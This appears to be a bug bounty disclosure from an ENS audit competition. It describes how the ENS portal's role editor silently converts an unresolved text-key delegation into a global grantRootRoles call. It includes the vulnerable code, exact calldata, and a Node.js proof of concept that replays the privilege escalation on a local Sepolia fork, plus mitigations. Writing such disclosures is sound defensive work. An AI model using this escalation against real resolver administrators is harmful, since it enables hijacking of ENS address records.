#93135 [W&A-Critical] Unresolved record-part role rows silently grant global resolver authority
Submitted on Sep 14th 2026 at 10:51:17 UTC by @Psyone for Audit Competition | ENS
- Report ID: #93135
- Report Type: Websites & Apps
- Report severity: Critical
- Target: https://github.com/immunefi-team/audit-comp-ens/tree/audit-comp-ready/apps/portal
- Impacts:
- Malicious interactions with an already-connected wallet, such as: Modifying transaction arguments or parameters Substituting contract addresses Submitting malicious transactions Signing or submitting a transaction against the wrong chain (for example when the request's target chain is not validated) Inducing a blanket token approval (for example setApprovalForAll on the registry or NameWrapper) to an attacker-controlled address
Description
Brief/Intro
Explorer cannot map resolver record-part resources (for example, a specific text key) back to a name. It displays such an existing delegation with a blank Name and no scope, then treats the missing display name as the sentinel for the resolver's global root resource when the administrator edits the row. A victim who extends that narrow delegation with Set Address therefore signs grantRootRoles(ROLE_SET_ADDR, attacker). The reproduced transaction changes the attacker from a text-key-only delegate with zero root roles into a global address manager for every name using the resolver.
Vulnerability Details
Preconditions and actors
- The attacker has a legitimate record-part-specific role on a permissioned resolver, such as
ROLE_SET_TEXTfor one text key. The attacker has no root role. - The victim is the resolver root administrator and uses Explorer's normal existing-role edit flow to extend the attacker's row with another permission.
- The victim selects the row, checks Set Address / Manager, clicks Save, starts the transaction, and approves it in the connected wallet.
- No malicious indexer, RPC, frontend, browser extension, or smart contract is required.
This is a prompted, normal administrative workflow. A genuine root row is explicitly described as global by Explorer; the vulnerable row is not.
Explorer loses the exact resource identity
useResolverOverview.ts queries resolver nodes and roles, but not the indexer's richer namedResources. buildResourceToNameMap in resolverRoles.ts can map only:
ROOT_RESOURCE -> "(root)"
resource(namehash(node.name), 0) -> node.name
A text-key or coin-type role uses resource(namehash(name), partHash(key)), so it can never match the name-wide resource above. groupRolesByAccount converts the failed lookup to null, leaving resolvedNames empty.
The table then renders a blank Name cell:
const names = row.original.resolvedNames
if (names.length === 0) return null
The sidebar also omits both possible scope descriptions because the list is empty:
{selectedAccount && resolvedNames.length > 0 && (
<p>
{resolvedNames.includes('(root)')
? 'Global roles (all names)'
: `Roles scoped to ...`}
</p>
)}
A display failure becomes the root-resource sentinel
The save path derives its security-sensitive scope from that lossy display lookup:
const roleName = resolvedNames.find((n) => n !== '(root)') ?? ''
setPendingAction({
type: 'save',
name: roleName,
account: selectedAccount,
rolesToGrant,
rolesToRevoke,
})
grantResolverRoles.ts deliberately defines the empty string as root scope:
name === ''
? { resolverAddress, targetAccount: account, scope: 'root', roles }
: { resolverAddress, targetAccount: account, scope: 'name', name, roles }
The pinned ENSJS implementation encodes the root branch as grantRootRoles(uint256,address). Neither the Explorer review nor the sidebar reveals this conversion. The review shows only Update roles for <account>.
For ROLE_SET_ADDR, the exact wallet request is:
chainId: 11155111
to: 0x3dc7100cfbea5077ee51b85e34249755771bd430
value: 0
method: grantRootRoles(uint256,address)
args: [1, 0x1ae1c56579c4c49317fb59808e26d0cca6c4f529]
data: 0x072d5d7700000000000000000000000000000000000000000000000000000000000000010000000000000000000000001ae1c56579c4c49317fb59808e26d0cca6c4f529
There is no safe semantic conversion from an unresolved part resource to the global root resource. Explorer should fail closed or preserve the exact indexed resource.
Impact Details
The pinned Sepolia fork starts with the attacker holding only ROLE_SET_TEXT (0x10) on a text-key resource and zero root roles. The exact Explorer-produced call mines successfully and changes:
roles(ROOT_RESOURCE, attacker): 0 -> 1
hasRoles(textPartResource, ROLE_SET_ADDR, attacker): false -> true
EnhancedAccessControl.hasRoles combines root and resource-local roles, so the grant makes the attacker an address manager across every node handled by this resolver. The attacker can redirect ENS address records even though the victim intended to extend only the selected narrow delegation.
An independent variant used the same UI conversion for ROLE_UPGRADE. Before the grant, the attacker's upgradeToAndCall reverted with the EAC authorization error. After the exact root grant, the same call mined and emitted Upgraded(address). This confirms that the error grants real global authority rather than changing only a cosmetic bitmap.
The issue matches the listed Critical impact for modifying transaction arguments or parameters in a malicious interaction with an already-connected wallet. The protected boundary is the resolver's root resource; the attacker begins with no authority over it.
Mitigation
- Preserve the exact resource for each role assignment and render one row per
(account, resource)rather than grouping only by account. - Query and use
namedResources, including record-part metadata, or decode the corresponding resource events independently. - If a resource cannot be resolved, show its full
bytes32, disable mutation, and fail closed. - Represent root scope with an explicit discriminated value. Do not infer it from
name === ''or any display lookup failure. - Require the administrator to explicitly select global scope and show
Global roles (all names)plus the decodedgrantRootRolescall in both the sidebar and final transaction review.
References
apps/portal/src/features/resolver/hooks/useResolverOverview.ts:68-109apps/portal/src/lib/roles/resolverRoles.ts:129-159,193-220apps/portal/src/features/resolver/components/ResolverRolesTable.tsx:65-83apps/portal/src/features/resolver/components/ResolverRolesSidebar.tsx:165-173,295-305,389-397apps/portal/src/features/resolver/helpers/grantResolverRoles.ts:45-74apps/portal/src/features/transaction-manager/components/TransactionInfoContent.tsx:38-60- ENS audit competition scope and known issues
Proof of Concept
Proof of Concept
Reproduction header
Repository: immunefi-team/audit-comp-ens
Commit: 1c9b47f18fcddd2e864dfe385c4171061c9811ae
Tool versions: Node.js v22.15.0, Ganache v7.9.2
Install command: none for the PoC (Node.js standard library only); Ganache is invoked with `npx --yes ganache@7.9.2`
Test command: `node poc.mjs`
Expected passing/failing assertion: PASS when `rootBefore == 0`, `partBefore == ROLE_SET_TEXT`, then `rootAfter == ROLE_SET_ADDR` and effective global Set Address authority is true; FAIL if any invariant assertion differs
Fork chain and block: Sepolia 11,682,885; canonical upstream hash 0xcf71c364fff7b9ecf048d58099959b8ce19651fb3bd5184e6aef5991ab9b1075; Ganache synthetic boundary hash 0x1df997e7b36884757d556c819147fc02a32e2e033646b14b8fbc58044d0f4969
Environment variables required: SEPOLIA_RPC_URL (archival Sepolia RPC)
Actors are kept distinct: ATTACKER is the narrow role holder, VICTIM is the real resolver root administrator at the pinned block, and RESOLVER is the protected deployed contract. There is no keeper or governance actor in this flow. The only external dependency is the archival RPC used by Ganache while constructing the local fork.
No contract or application component is mocked. Ganache unlocks the real administrator only on the disposable fork and tops up gas balance; it does not assign roles, alter protected storage, replace bytecode, or create the vulnerable state. The attacker’s narrow role and the victim’s root role are read from the pinned deployed state before the transaction. All writes remain local and are discarded when Ganache stops.
Numbered reproduction steps
- Check out the scoped commit and save the supplied script as
poc.mjsat the repository root. - Export an archival Sepolia endpoint only as
SEPOLIA_RPC_URL. - Start Ganache with the exact pinned fork command below; it unlocks only the existing forked root administrator.
- In a second terminal, run
node poc.mjs. - Confirm the initial reads show attacker root bitmap
0x0, record-part bitmap0x10, and no effective Set Address authority. - Confirm the receipt for the exact
grantRootRoles(0x1, attacker)calldata has status1. - Confirm the final reads show attacker root bitmap
0x1, effective global Set Address authority, andREPRODUCED_PART_RESOURCE_TO_ROOT_ESCALATION.
Start a disposable local fork. No transaction is broadcast to Sepolia:
npx --yes ganache@7.9.2 `
--fork.url $env:SEPOLIA_RPC_URL `
--fork.blockNumber 11682885 `
--chain.chainId 11155111 `
--chain.networkId 11155111 `
--server.port 8545 `
--wallet.unlockedAccounts "0x1526bf7ea59c6494d89838c6e779bcbe0bc88a4d" `
--logging.quiet true
Save the following as poc.mjs at the repository root and run node poc.mjs:
import assert from 'node:assert/strict'
import fs from 'node:fs'
import { execFileSync } from 'node:child_process'
const RPC = 'http://127.0.0.1:8545'
const REVISION = '1c9b47f18fcddd2e864dfe385c4171061c9811ae'
const BLOCK = '0xb24445'
const LOCAL_FORK_BLOCK_HASH = '0x1df997e7b36884757d556c819147fc02a32e2e033646b14b8fbc58044d0f4969'
const RESOLVER = '0x3dc7100cfbea5077ee51b85e34249755771bd430'
const RESOLVER_RUNTIME = '0x363d3d373d3d3d363d73a136bee4e37b44586242e516a39893efd54315e95af43d82803e903d91602b57fd5bf3b20ba7cd1989e98d763c242871b2c550f81d6bba4a79d953e459f8a9a7f6ec94'
const VICTIM = '0x1526bf7ea59c6494d89838c6e779bcbe0bc88a4d'
const ATTACKER = '0x1ae1c56579c4c49317fb59808e26d0cca6c4f529'
const PART = '0xe3da8cd0d2ed31f54a8284e01158aff297bf74c7753013e0c08c47c7a5e46060'
const ROOT = `0x${'00'.repeat(32)}`
const word = (v) => BigInt(v).toString(16).padStart(64, '0')
const addr = (v) => v.slice(2).toLowerCase().padStart(64, '0')
const roles = (resource) => `0x5adf4724${resource.slice(2)}${addr(ATTACKER)}`
const has = (resource, bitmap) =>
`0xd3bf89b1${resource.slice(2)}${word(bitmap)}${addr(ATTACKER)}`
const grant = (bitmap) => `0x072d5d77${word(bitmap)}${addr(ATTACKER)}`
async function rpc(method, params) {
const response = await fetch(RPC, {
method: 'POST',
headers: { 'content-type': 'application/json' },
body: JSON.stringify({ jsonrpc: '2.0', id: 1, method, params }),
})
const body = await response.json()
assert.equal(body.error, undefined, `${method}: ${JSON.stringify(body.error)}`)
return body.result
}
assert.equal(
execFileSync('git', ['rev-parse', 'HEAD'], { encoding: 'utf8' }).trim(),
REVISION,
)
const model = fs.readFileSync('apps/portal/src/lib/roles/resolverRoles.ts', 'utf8')
const sidebar = fs.readFileSync(
'apps/portal/src/features/resolver/components/ResolverRolesSidebar.tsx',
'utf8',
)
const helper = fs.readFileSync(
'apps/portal/src/features/resolver/helpers/grantResolverRoles.ts',
'utf8',
)
assert.match(model, /resourceToName\?\.get\(resource\) \?\? null/)
assert.match(sidebar, /resolvedNames\.find\(\(n\) => n !== '\(root\)'\) \?\? ''/)
assert.match(sidebar, /selectedAccount && resolvedNames\.length > 0/)
assert.match(helper, /name === ''[\s\S]*scope: 'root'/)
const block = await rpc('eth_getBlockByNumber', [BLOCK, false])
assert.equal(await rpc('eth_chainId', []), '0xaa36a7')
assert.equal(block.hash, LOCAL_FORK_BLOCK_HASH)
assert.equal((await rpc('eth_getCode', [RESOLVER, BLOCK])).toLowerCase(), RESOLVER_RUNTIME)
await rpc('evm_setAccountBalance', [VICTIM, '0x3635c9adc5dea00000'])
const rootBefore = await rpc('eth_call', [
{ to: RESOLVER, data: roles(ROOT) }, 'latest',
])
const partBefore = await rpc('eth_call', [
{ to: RESOLVER, data: roles(PART) }, 'latest',
])
const authorityBefore = await rpc('eth_call', [
{ to: RESOLVER, data: has(PART, 1n) }, 'latest',
])
assert.equal(BigInt(rootBefore), 0n)
assert.equal(BigInt(partBefore), 16n)
assert.equal(BigInt(authorityBefore), 0n)
const calldata = grant(1n)
const hash = await rpc('eth_sendTransaction', [{
from: VICTIM,
to: RESOLVER,
value: '0x0',
gas: '0x989680',
data: calldata,
}])
const receipt = await rpc('eth_getTransactionReceipt', [hash])
assert.equal(receipt.status, '0x1')
const rootAfter = await rpc('eth_call', [
{ to: RESOLVER, data: roles(ROOT) }, 'latest',
])
const authorityAfter = await rpc('eth_call', [
{ to: RESOLVER, data: has(PART, 1n) }, 'latest',
])
assert.equal(BigInt(rootAfter), 1n)
assert.equal(BigInt(authorityAfter), 1n)
console.log(JSON.stringify({
result: 'REPRODUCED_PART_RESOURCE_TO_ROOT_ESCALATION',
violatedInvariant:
'Editing a record-part role must not grant authority on ROOT_RESOURCE',
rootBefore,
partBefore,
signedCalldata: calldata,
rootAfter,
globalSetAddrAuthorityAfter: authorityAfter,
}, null, 2))
Expected output includes:
{
"result": "REPRODUCED_PART_RESOURCE_TO_ROOT_ESCALATION",
"rootBefore": "0x0000000000000000000000000000000000000000000000000000000000000000",
"partBefore": "0x0000000000000000000000000000000000000000000000000000000000000010",
"rootAfter": "0x0000000000000000000000000000000000000000000000000000000000000001",
"globalSetAddrAuthorityAfter": "0x0000000000000000000000000000000000000000000000000000000000000001"
}
The reproduced local transaction has status 1. The victim account is impersonated only on the disposable pinned fork, and no public-chain or third-party state is modified.